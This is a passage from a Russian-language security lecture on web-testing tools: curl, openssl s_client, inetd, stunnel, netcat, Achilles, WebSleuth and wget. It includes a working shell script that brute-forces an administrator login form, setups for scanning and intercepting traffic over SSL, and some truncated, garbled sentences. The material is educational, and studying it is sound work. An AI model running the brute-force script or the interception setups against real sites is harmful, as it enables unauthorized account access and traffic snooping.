Задает имя пользователя и пароль, использованные для базовой идентификации или proxy. Чтобы получить доступ к сайту с базовой идентификацией, используйте -u user:password. Чтобы получить доступ к защищенному паролем proxy, используйте U user: password. Это не имеет смысла, если опция -X не задана. |
--url |
Устанавливает URL на выборку. Это не обязательный параметр, но вносит ясность, когда используется много опций командной строки. Например, -url https://www.victim .com/admin/menu.php?menu=. Curl дает быструю оптимизацию, когда множественные URL задаются в командной строке, потому что он пытается установить устойчивые соединения. Это означает, что все запросы будут производиться поверх первоначального соединения, вместо установки нового соединения для каждого запроса. |
-x/--proxy |
Задает HTTP proxy. Например, -x http://intraweb:80/. |
-K/--config |
Задает файл конфигурации, который включает последовательные опции командной строки. Например, -K www.victim.com.curl. |
Пример из жизни. Угадай пароль!
Итак, мы очертили несколько полезных опций, которые предлагает curl. Но, по-прежнему, сделать можно не слишком много. Однако сила curl заключена в его применимости к любой ситуации Web (или другому протоколу). Он упрощает написание сценариев. Perl, Python и C располагают библиотеками, которые помогают в соединениях HTTP и манипуляции URL, но требуют множества поддерживающих библиотек и больших знаний. Это не значит, что Perl не может сделать того, что может curl - curl проще. Это новое изобретение колеса, которое поднимает планку для других средств.
Следующий сценарий демонстрирует, как использовать curl в качестве настроенного средства для грубого угадывания паролей на Web-сайте. Этот Web-сайт использует форму идентификации в запросе POST. Процесс регистрации далее усложняется значением cookie, которое должно быть передано на сервер, когда пользователь регистрируется, и которое модифицируется, если пароль правильный.
#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication. 2002 M. Shema
if [ -z $1 ]; then
echo -e "\n\tUsage: $0 password file"
exit 1;
fi
PASSLIST='/bin/cat $1'
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3LV=20013HASH=17C9GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
-b $COOKIE \
-d user=$USERNAME \
-c cookies.txt \
--url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
# specify Headers on this line to work around inclusion of spaces
'$CMD \
-H 'User-Agent: Mozilla/4.0' \
-H 'Host: localhost' \
-d passwd=$PASS'
# upon a successful login, the site changes the user's cookie value,
# but we don't know what the new value is
RES='grep -v $COOKIE cookies.txt'
if [ -n '$RES' ]; then
echo -e "found $RES with $USER : $PASS\n";
exit 0;
fi
done
Мы находим словарь распространенных паролей и затем запускаем сценарий на нашей цели. Если повезет, то мы найдем пароль администратора. Если нет, то перейдем к следующему пользователю.
Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL -прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.
Реализация
Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.
$ openssl OpenSSL
Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания ( man pages ). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр - уменьшит объем информации об ошибках.
$ openssl s_client -quiet -connect www.victim.com:443 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 HEAD / HTTP/1.0 Date: Tue, 26 Feb 2002 05:44:54 GMT Server: Apache/1.3.19 (Unix) Content-Length: 2187 Connection: close Content-Type: text/html
Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации. В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.
Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.
$ echo -e "HEAD / HTTP/1.0\n\n" | \ > openssl s_client -quiet -connect www.victim.com:443
Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.
Программа inetd для Unix (и Cygwin ) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.
# /etc/inetd.conf example content ftp stream tcp nowait root /usr/libexec/ftpd ftp -US
Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.
# /etc/inetd.conf SSL proxy example content 80 stream tcp nowait root /home/istari/ssl_proxy.sh
Файл /home/istari/ssl_proxy.sh содержит две строки.
#!/bin/sh openssl s_client -quiet -connect www.victim.com:443 2 /dev/null
После установки соединения с
$ arirang -G -h localhost -p80 -r unix.uxe
Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.
Пример из жизни. Альтернатива Inetd
Inetd не единственный метод запуска службы. У него есть преимущество, т.к. он способен применять TCPWrappers, метод, позволяющий или запрещающий доступ к порту на основе IP-адреса. Не все операционные системы используют inetd, а операционная система Windows определенно не имеет данной функции.
Cygwin. Если ваши друзья по-прежнему дразнят вас, потому что вы пользуетесь какой-либо версией Windows, не мучайтесь. В среде Cygwin есть демон inetd и программа OpenSSL, которая позволяет запускать SSL proxy. Cygwin жалуется на использование 80 в качестве имени службы. Файл /etc/inetd.conf должен содержать следующее.
# /etc/inetd.conf Cygwin SSL proxy example www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh
Затем вы можете запустить inetd в командной строке. Мы обычно запускаем его с -d, отладочной опцией, чтобы все работало корректно.
$ /usr/sbin/inetd.exe -d /etc/inetd.conf
Теперь proxy ожидает на порте 80 и направляет соединения к цели, обозначенной в сценарии ssl_proxy.sh.
Инсталляция inetd в качестве родной для Windows службы требует больше манипуляций. Есть два метода создания этой службы. Предпосылкой для каждого является переменная среды Windows PATH, содержащая C:\cygwin\bin или любое место, где находится директория cygwin\bin. Inetd может установить себя как службу.
$ /usr/sbin/inetd.exe -install-as-service /etc/inetd.conf
Чтобы удалить его, используйте опцию -remove-as-service.
Встроенные утилиты Cygwin также инсталлируют и запускают службу inetd.
cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a -d
-e CYGWIN=ntsec
cygrunsrv -S inetd
Опция -R удаляет службу inetd.
Xinetd. Xinetd добавляет еще немного к демону inetd. Он улучшает регистрацию, управление соединениями и администрирование. В системах, которые поддерживают xinetd, дефиниции служб обычно находятся в директории /etc/xinetd.d. Создайте службу SSL proxy, используя синтаксис xinetd.
#default: off
#description: OpenSSL s_client proxy to www.victim.com
service 80
{
socket_type = stream
wait = no
protocol = tcp
user = root
server = /root/ssl_proxy.sh
only_from = 127.0.0.1
disable = no
}
Как всегда, опасайтесь запускать службы с root-привилегиями и службы, к которым должны иметь доступ только вы.
Netcat (sort of). Для одноразовых соединений, таких как запуск компилированного взлома, который обычно работает на порте 80, Netcat экономит день. Возможно, вы не сможете запустить сканирование whisker корректно, но одноразовое соединение будет успешно достигнуто. У Whisker есть преимущество работы с системами Unix и Windows, обеспеченное, если установлен комплект OpenSSL. Netcat pseudo-proxy подходит для одной команды:
$ nc -w -L -p 80 -e "openssl s_client -quiet \ -connect www.victim.com:443"
Опция -L ("слушай внимательнее") дает инструкцию Netcat продолжать прослушивание, даже если клиент закрыл соединение. Опция -e содержит команду s_client для соединения с целью. Затем присоединяйтесь к порту 80 ожидающего хоста, чтобы получить доступ к SSL-серверу вашей цели (например, www.victim.com ).
Для этого вам придется использовать оригинальную версию Netcat. Например, на -L заменена на -k, а опция -e не имеет смысла, поскольку Unix поддерживает конвейеры (|).
Команда
$ nc -w -k -l 80 | openssl s_client -quiet \ -connect www.victim.com:443
Конечно, не имеет смысла добавлять дополнительный шаг использования Netcat. У вас должно получиться провести отчет о взломе непосредственно в команду s_client, пропустив шаг. Затем снова могут быть сценарии, в которых строгий сетевой контроль или спутанная среда операционных систем действительно делает это полезным.
OpenSSL - великолепное средство для осуществления одностороннего SSL-взаимодействия. К сожалению, вы можете работать в ситуации, когда клиент посылает HTTPS-соединение и не может перейти к HTTP. В этом случае, вам необходимо средство, которое может расшифровывать SSL или находиться между клиентом и сервером и отслеживать трафик. Stunnel обеспечивает эти возможности.
Вы можете также использовать Stunnel, чтобы обернуть SSL поверх любого сетевого сервиса. Например, вы можете настроить stunnel для управления соединениями (stunnel для управления клиентом).
SSL-взаимодействие основывается на сертификатах. Первое, что вам нужно, это правильный Stunnel поставляется с файлом по умолчанию, который называется stunnel.openssl.
$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \ > -days 365 ...follow prompts... $ openssl dhparam 512 >> custom.pem
Теперь файл custom.Stunnel ищет по умолчанию файл stunnel.-p.
Замечания о компиляции под Cygwin. Вам может понадобиться отредактировать файл stunnel.c для компиляции stunnel под Cygwin. Закомментируйте следующие строки, которые располагаются в районе 391 строки.
/* if(setgroups(1, gr_list)) {
sockerror("setgroups");
exit(1);
} */
Смысл в том, что вы не сможете использовать параметр -g для определения альтернативной группы привилегий, с которыми выполняется stunnel, но вам не понравится ситуация, в которой это могло бы понадобиться.
Обезьяна в центре поля. Как быть, если вам необходимо просматривать данные, передаваемые поверх SSL-соединения? Вам может понадобиться проверять данные, передаваемые между клиентом, основанным на Web-приложении, и сервером, но клиент передает HTTPS, и сервер принимает только HTTPS. В таком случае, вам понадобится заморозить stunnel между клиентом и сервером, переведя соединение в HTTP, чтобы иметь возможность его читать, а затем вернуть трафик обратно в HTTPS, чтобы сервер мог его получить. Для этого понадобится две команды stunnel.
Запустите stunnel в обычном режиме демона ( -d ). В таком режиме stunnel принимает SSL-трафик и выдает простой текст. Параметр -f заставляет stunnel оставаться в диалоговом режиме. Обычно это используется для просмотра информации о соединении и чтобы убедиться, что программа работает. Stunnel - не программа с конечной точкой. Другими словами, вы должны задать порт, который будет прослушиваться ( -d <port> ), а также хост и порт, на которые будет перенаправляться трафик ( -r <host:port> ). Ниже приведена команда, по которой прослушивается SSL-трафик по 443 порту и перенаправляется в виде не SSL-трафика на порт 80. Если вы всего лишь хотите изображать обезьяну в центре поля, параметр -r адресует к другой команде stunnel.
$ stunnel -p custom.pem -f -d 443 -r host:80 2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service name 2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Другая команда stunnel точно такая же, но использует клиентский режим ( -c ) для получения трафика в виде простого текста и вывода трафика, зашифрованного с помощью SSL. В данном примере, команда прослушивает порт 80 и затем посылает трафик на конечный порт 443.
$ stunnel -p custom.pem -f -d 80 -r www.victim.com:443 -c 2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service name 2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Если мы запустим эти команды на разных компьютерах (или между компьютером и сессией VMware ), то сможем прослеживать трафик, который переадресовывается через 80 порт.
SSL for a Service. Stunnel обеспечивает ту же функциональность, что и inetd, с дополнительным SSL-шифрованием. Stunnel поддерживает TCP-оболочку, что означает, что он проверяет файлы /etc/hosts.allow и /etc/hosts.deny сразу после запуска. Это дает возможность применить шифрование для любой службы. Например, IMAP - протокол для удаленного доступа к почтовому ящику. Недостаток IMAP состоит в том, что может быть перехвачен пароль.
Примерно так выглядит конфигурирование службы IMAP, когда она определяется с помощью файла /etc/ inetd.conf.
imap stream tcp nowait root /usr/sbin/tcpd imapd
Имя службы imap (TCP порт 143); демон TCPWrappers выполняет демон IMAP.
Теперь посмотрим аналогичную конфигурацию под stunnel. Следующая команда может быть выполнена из командной строки, а не как часть файла /etc/inetd.conf.
# stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe -N imapd 2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as tcpwrapper service name 2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Вы уже знакомы с параметром -d, но здесь мы вводим параметры -l и -N. Параметр -l запускает специальную программу для входящего соединения. В данном случае, мы запускаем демона imapd. Параметр -N применяется специально для Cygwin-систем, чтобы подставить имя службы для проверки TCPWrapper. Имя службы можно найти в файле /etc/services, и оно должно присутствовать в файлах /etc/hosts.allow и /etc/hosts.deny.
До сих пор мы знакомились с программами, которые исследовали Web-сервер. Делая это, мы пропустили прорехи, которые могут иметься в Web-приложениях. Этот класс уязвимостей возникает из-за программирования без учета безопасности и ошибок в настройках взаимодействия между Web-серверами и базами данных. Мы не можем разъяснить природу нарушений безопасности Web-приложений, методологию и приемы поиска уязвимостей в рамках отдельной лекции. Можно лишь показать средства, необходимые для проверки Web-приложений. Немногие из этих программ распространены среди сообщества специалистов по безопасности, они скорее заслуживают быть частью средств отладки Web-приложений.
В соответствии с названием, Achilles помогает протестировать Web-приложение, работая в режиме прокси с кнопкой "пауза". Обычный прокси располагается между Web-броузером и Web-сервером, незаметно перенаправляя запросы и ответы между ними. Achilles работает точно так же, но он добавляет возможность, которая позволяет вам модифицировать содержимое налету. Achilles позволяет манипулировать значениями cookie, запросами POST, скрытыми полями и всеми другими аспектами HTTP-транзакции - и все это поверх SSL.
Поскольку это работа прокси, показаны основные моменты конфигурации для запуска Achilles в режиме прокси. Щелкнув на кнопке "пуск" (треугольник), можно запустить прокси, а щелкнув на кнопке "стоп" (квадратик) остановить его - в точности, как при управлении звукозаписывающим устройством.
(рис 8.7) Основные настройки прокси для AchillesХорошей мыслью будет оставить задействованным параметр Ignore .jpg/.gif. Изменение файлов изображений редко используется для обхода системы безопасности Web-приложения, а число запросов от обычной Web-страницы раздражающе велико.
Затем настройте свой Web-броузер для работы через IP-адрес прокси (если это тот же компьютер 127.0.0.1) и соответствующий порт (5000 по умолчанию), который прослушивает Achilles. Обычно для этого Achilles просто запускается на вашей локальной машине. Любой Web-броузер, который поддерживает HTTP-прокси, от Lynx до Galeon, могут использовать Achilles. Ограничения для Windows-платформы состоит в том, что Achilles поставляется в виде исполняемого модуля Win32.
В режиме перехвата вы можете просматривать Web-сайт или несколько Web-сайтов, ничего не замечая. Параметр Log To File позволяет сохранять результаты сессии в файл. Это подходит для исследования Web-приложения. Журнал содержит каждую ссылку, которую вы посетили, включая вспомогательные файлы, такие как JavaScript, (*.js) и другие
В режиме активного перехвата вы можете видеть запросы, порождаемые броузером (GET- и POST- запросами и значениями, передаваемыми с переменными cookie. Эта возможность используется для обхода схем аутентификации и авторизации, и чтобы выдавать себя за другого пользователя. Текстовое окно Achilles представляет собой простой текстовый редактор.
Использование Achilles в таком виде, возможно, выглядит несколько абстрактно. Эта программа относится к категории, о которой говорят "лучше один раз увидеть, чем сто раз услышать". Запустите Achilles, измените настройки прокси для своего броузера, убедитесь в том, что вы выбрали режим
Проблемы перехвата. Achilles перехватывает только текстовые данные. Сайт, который использует компоненты ActiveX, также известные как COM-объекты (Component Object Model) или CAB-файлы (Achilles игнорирует. Achilles продолжает поддерживать корректное HTTP-соединение, но вы не можете манипулировать данными. Другие двоичные объекты: загружаемые ZIP- или PDF-файлы, также будут транслированы, но не будут показаны в текстовом окне.
Web-сайты, которые используют SSL, зачастую порождают ошибки при использовании Achilles. Проблемный сайт с 20 объектами на странице (такими как изображения, таблицы стилей, файлы JavaScript и HTML) могут порождать 20 ошибок вида "Client failed SSL connection". Это не слишком большая беда, но это означает, что вам придется 20 раз нажать OK, чтобы закрыть окно сообщения об ошибке.
Некоторые сайты приводят к неожиданному "падению" Achilles. Не слишком хорошее правило - просматривать сайты, чтобы определить, какой из них приведет к нарушениям в работе программы. Можем рекомендовать зайти на сайт, использующий прокси, а затем запустить прокси и изменить установки броузера, как только вы дойдете до той части приложения, которую следует проверять. К сожалению, этот прием не срабатывает по отношению к сайтам, которые используют строгий контроль за сессией. Achilles поддерживает HTTP (базовую аутентификацию), а Web-приложения, которые используют (поддерживаемую IIS), не поддерживают работу через Achilles.
WebSleuth помещает функциональность прокси непосредственно в броузер. Программа представляет собой набор процедур на Visual Basic, работающих вокруг Internet Explorer. Очевидно, что это привязывает вас к платформе WIN32, но утилита стоит того. Она позволяет провести пошаговый просмотр сайта, одновременно проверяя переменные cookies и HTML-код, делая по пути некоторые заметки.
На рис 8.8 представлен внешний вид интерфейса WebSleuth, на котором доступно несколько параметров для настройки. Рельефные кнопки Go, Back, Stop, Fwrd и Edit Source вызываются щелчком левой кнопкой мыши. Правая кнопка мыши отвечает за появление меню для каждой из плоских кнопок Properties, Toolbox, Plugins и Favorites.
(рис 8.8) Основные настройки прокси для AchillesУ кнопки меню Toolbox те же самые функции. Особой "фишкой" является функция HTML Transformations. Она удаляет скрипты, которые отключают многие программы проверки ввода, отображает скрытые поля, которые контролируют переменные сессии, сервера и клиента. Функция Generate Report создает великолепный список текущих переменных cookie, ссылок, строк запросов, форм, ссылок на скрипты, комментариев и META-тегов.
Кнопка меню Properties отображает информацию о текущей странице. Обычно эта информация используется для просмотра установленных переменных cookie, инспектирования строк запросов или ревизии доступных на странице ссылок.
Финальные замечания. Функции Analyze, размещенные на закладке Options:, не работают поверх SSL. Эти функции открывают окно, которое содержит HTTP-запросы и их аргументы. В этот момент вы можете изменить данные для изменения запроса POST. К сожалению, это не работает!
Последняя программа, которую мы рассмотрим, похожа на предыдущие. Wget - утилита командной строки, которая в основном копирует содержимое Web-сайтов. Она запускается для стартовой страницы и затем, в соответствии со ссылками, исследует каждую страницу Web-сайта. Когда кто-либо проводит
С точки зрения администраторов, у Wget может быть и другое применение. Например, создание зеркал для сайтов с высоким трафиком. Администраторы зеркал многих Web-сайтов (таких как www.samba.org и www.kernel.org) используют wget или аналогичные утилиты для воспроизведения содержимого мастер-сервера на альтернативных серверах. Они делают это с целью сокращения загрузки и разнесения Web-сайтов по разным географическим регионам.
Поскольку основной функцией wget является загрузка содержимого Web-сайта, то использовать программу просто. Для рекурсивного просмотра сайта используйте параметр -r.
$ wget -r www.victim.com ...(continues for entire site)...
Параметр -r или - указывает wget на необходимость просматривать каждую ссылку на странице. Ниже мы создаем директорию www.victim.com и размещаем в этой директории все HTML-файлы и директории, которые wget обнаружит на этом сайте. Основное преимущество wget в том, что он просматривает все возможные ссылки. Таким образом, программа загружает вывод всех аргументов, которые приложение пересылает на страницу. Например, файл viewer.asp может быть загружен четырежды.
Символ ? в реальном URL. ID - первый аргумент (параметр), передаваемый в файл viewer.asp. Некоторые сайты могут потребовать более сложных возможностей, таких как поддержка прокси и HTTP Basic Authentication. Сайты, защищенные с помощью Basic Authentication, можно просматривать следующим способом.
[root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \ > https://www.victim.com/secure/ ...continues for entire site...
Сайты, которые базируются на использовании cookies для поддержки сессий или аутентификации, также можно просматривать с использованием wget. Создайте cookie -файл, который содержит набор достоверных переменных о пользовательской сессии. Для этого необходимо иметь возможность получить доступ к сайту, чтобы собрать значения переменных. Затем используйте параметр -load-cookies, чтобы указать wget на необходимость представиться пользователем, информация о котором хранится в переменных cookie.
$ wget --load-cookies=cookies.txt \ > -r https://www.victim.com/secure/menu.asp
Wget может поддерживать сессии и сохранять значения cookie-переменных с помощью соответственно названного параметра -cookies. Это параметр логического типа, и вы можете либо выключить его (по умолчанию) или включить.
$ wget --load-cookies=cookies.txt -cookies=on \ > -r https://www.victim.com/secure/menu.asp
Параметры --http-user и --http-passwd позволяют wget получить доступ к Web-приложениям, которые применяют HTTP Basic Authentication. Установите значения в командной строке и следите за работой wget.
$ wget --http-user=guest --http-passwd=no1knows \ > -r https://www.victim.com/maillist/index.html
Для получения официальных документов о завершении программы дополнительного профессионального образования (удостоверения о повышении квалификации, дипломов о профессиональной переподготовке и MBA) необходимо предоставить:
Внимание! Вы можете не заказывать доставку бумажной версии официального документы, а скачать его в электронном виде и распечатать самостоятельно. Информация о выданном документе в течение 1 месяца загружается в Федеральную информационную систему «Федеральный реестр сведений о документах об образовании и (или) о квалификации, документах об обучении» - ФИС ФРДО.
Доступ на новый сайт осуществляется с использованием адреса электронной почты, который был указан вами при регистрации на "старом". Мы постарались перенести все ваши данные с прежнего ресурса, однако не исключена вероятность потери части информации.
При возникновении проблемы со входом, воспользуйтесь функцией сброса пароля
Если вы обнаружите несоответствия, пожалуйста, сообщите нам.